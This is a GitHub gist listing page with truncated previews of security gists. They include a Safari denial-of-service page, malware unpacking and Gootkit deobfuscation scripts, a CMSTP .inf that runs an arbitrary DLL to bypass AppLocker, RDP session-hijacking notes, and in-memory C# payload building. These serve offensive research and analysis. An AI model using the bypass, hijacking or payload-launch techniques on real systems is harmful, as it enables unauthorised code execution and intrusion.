Skip to content

Instantly share code, notes, and snippets.

View PeterG75's full-sized avatar

PeterG75

25 followers · 103 following
View GitHub Profile
@PeterG75
PeterG75 / safari-reaper.html
Created September 17, 2018 00:39
Safari DoS ☠️ (Original tweet: https://twitter.com/pwnsdx/status/1040944750973595649, try it: https://cdn.rawgit.com/pwnsdx/ce64de2760996a6c432f06d612e33aea/raw/fb78440ee4bce427f0cde98a4e9feadfd9eed198/safari-reaper.html)
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style>
body {
background: repeat url('data:image/jpeg;base64,/9j/4AAQSkZJRgABAQEASABIAAD/7QCIUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAGscAVoAAxslRxwCAAACAAAcAnQAV8KpIENoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbGQgLSBodHRwOi8vd3d3LnJlZGJ1YmJsZS5jb20vcGVvcGxlL0NoYWV5b3VuZ1dpbGxOZXZlckNoYWVvbAD/4gxYSUNDX1BST0ZJTEUAAQEAAAxITGlubwIQAABtbnRyUkdCIFhZWiAHzgACAAkABgAxAABhY3NwTVNGVAAAAABJRUMgc1JHQgAAAAAAAAAAAAAAAAAA9tYAAQAAAADTLUhQICAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABFjcHJ0AAABUAAAADNkZXNjAAABhAAAAGx3dHB0AAAB8AAAABRia3B0AAACBAAAABRyWFlaAAACGAAAABRnWFlaAAACLAAAABRiWFlaAAACQAAAABRkbW5kAAACVAAAAHBkbWRkAAACxAAAAIh2dWVkAAADTAAAAIZ2aWV3AAAD1AAAACRsdW1pAAAD+AAAABRtZWFzAAAEDAAAACR0ZWNoAAAEMAAAAAxyVFJDAAAEPAAACAxnVFJDAAAEPAAACAxiVFJDAAAEPAAACAx0ZXh0AAAAAENvcHlyaWdodCAoYykgMTk5OCBIZXdsZXR0LVBhY2thcmQgQ29tcGFueQAAZGVzYwAAAAAAAAASc1JHQiBJRUM2MTk2Ni0yLjEAAAAAAAAAAAAAABJzUkdCIElFQzYxOTY2LTIuMQAAAAAAAA
@PeterG75
PeterG75 / upx.py
Created September 16, 2018 04:13 — forked from mrexodia/upx.py
Unpacking UPX with x64dbgpy
from x64dbgpy.pluginsdk import *
import sys
cip = register.GetCIP()
if memory.ReadByte(cip) != 0x60:
gui.Message("Start at UPX entry point (1:[CIP]==0x60)")
exit(0)
x64dbg.DbgCmdExecDirect("bc")
x64dbg.DbgCmdExecDirect("bphwc")
@PeterG75
PeterG75 / msvbvm50.pdb
Created September 16, 2018 04:12 — forked from mrexodia/msvbvm50.pdb
0:000> lm
start end module name
00400000 00407000 image00400000 (deferred)
740c0000 7420d000 MSVBVM50 (pdb symbols) c:\symbols\msvbvm50.pdb\3AEF4F631\msvbvm50.pdb
77120000 771ab000 OLEAUT32 (deferred)
774e0000 7761e000 ole32 (deferred)
77c10000 77c68000 msvcrt (deferred)
77dd0000 77e6b000 ADVAPI32 (deferred)
77e70000 77f03000 RPCRT4 (deferred)
77f10000 77f59000 GDI32 (deferred)
@PeterG75
PeterG75 / gist:c16a731bed495b48af68d604690093aa
Created August 20, 2018 03:34 — forked from JohnPeng47/gist:3fc58c8a8c9060eafc2cf17fd55bbc59
Gootkit string deobsfuscation
from idautils import *
from idaapi import *
from idc import *
import re
def findStackStrings(func_addr):
print "--------------------------------------NEW RUN---------------------------------------------------"
func = get_func(func_addr)
start = func.startEA
end = func.endEA
@PeterG75
PeterG75 / time-travel.md
Created August 1, 2018 02:07 — forked from jasonLaster/time-travel.md

Time Travel Debugging

Time Travel refers to the ability to record a tab and later replay it ([WebReplay][wrr]). The technology is useful for local development, where you might want to:

  • pause and step forwards or backwards
  • pause and rewind to a prior state
  • rewind to the time a console message was logged
  • rewind to the time an element had a certain style or layout
  • rewind to the time a network asset loaded
@PeterG75
PeterG75 / pentestlab-dll.inf
Created May 10, 2018 15:49 — forked from netbiosX/pentestlab-dll.inf
CMSTP - Arbitrary DLL execution locally and remotely and SCT for AppLocker Bypass
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\test.PENTESTLAB\pentestlab.dll
@PeterG75
PeterG75 / RDP_Eavesdropping_Hijacking
Created May 4, 2018 05:56 — forked from bohops/RDP_Eavesdropping_Hijacking
RDP Eavesdropping and Hijacking
*******************************
I spent some time this evening looking at ways to eavesdrop and hijack RDP sessions. Here is a gist of (semi) interesting findings
that is not very new...
===========
Inspiration
===========
As you may already know...
@PeterG75
PeterG75 / clr_via_native.c
Created April 23, 2018 09:35 — forked from xpn/clr_via_native.c
A quick example showing loading CLR via native code
#include "stdafx.h"
int main()
{
ICLRMetaHost *metaHost = NULL;
IEnumUnknown *runtime = NULL;
ICLRRuntimeInfo *runtimeInfo = NULL;
ICLRRuntimeHost *runtimeHost = NULL;
IUnknown *enumRuntime = NULL;
LPWSTR frameworkName = NULL;
@PeterG75
PeterG75 / get-elevated-com.ps1
Created April 14, 2018 23:41 — forked from Evilcry/get-elevated-com.ps1
Eumerate COM objects with elevation ON
$path = "REGISTRY::HKEY_CLASSES_ROOT\CLSID\"
Get-ChildItem -Path $path -Recurse | foreach {
$CurrentKey = Get-ItemProperty -Path $_.PsPath
if ($CurrentKey.PSChildName -match "Elevation") {
$details = Get-ItemProperty -Path $CurrentKey.PSParentPath
Out-File -FilePath ".\elevation.txt" -InputObject $details -Append
}
}
@PeterG75
PeterG75 / Build_In_Memory_CSharp_Project.txt
Created April 4, 2018 10:26 — forked from bohops/Build_In_Memory_CSharp_Project.txt
After a little more research, 'In Memory' notion was a little exaggerated (hence the quotes). However, we'll call it 'In Memory Inspired' ;-)
These examples are PowerShell alternatives to MSBuild.exe/CSC.exe for building (and launching) C# programs.
Basic gist after running PS script statements:
- Loads C# project from file or web URL
- Compile with csc.exe [e.g. "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\subadmin\AppData\Local\Temp\lz2er5kc.cmdline"]
- Comvert to COFF [e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\subadmin\AppData\Local\Temp\RES11D5.tmp" "c:\Users\subadmin\AppData\Local\Temp\CSCDECDA670512E403CA28C9512DAE1AB3.TMP"]
- Launch program (payload)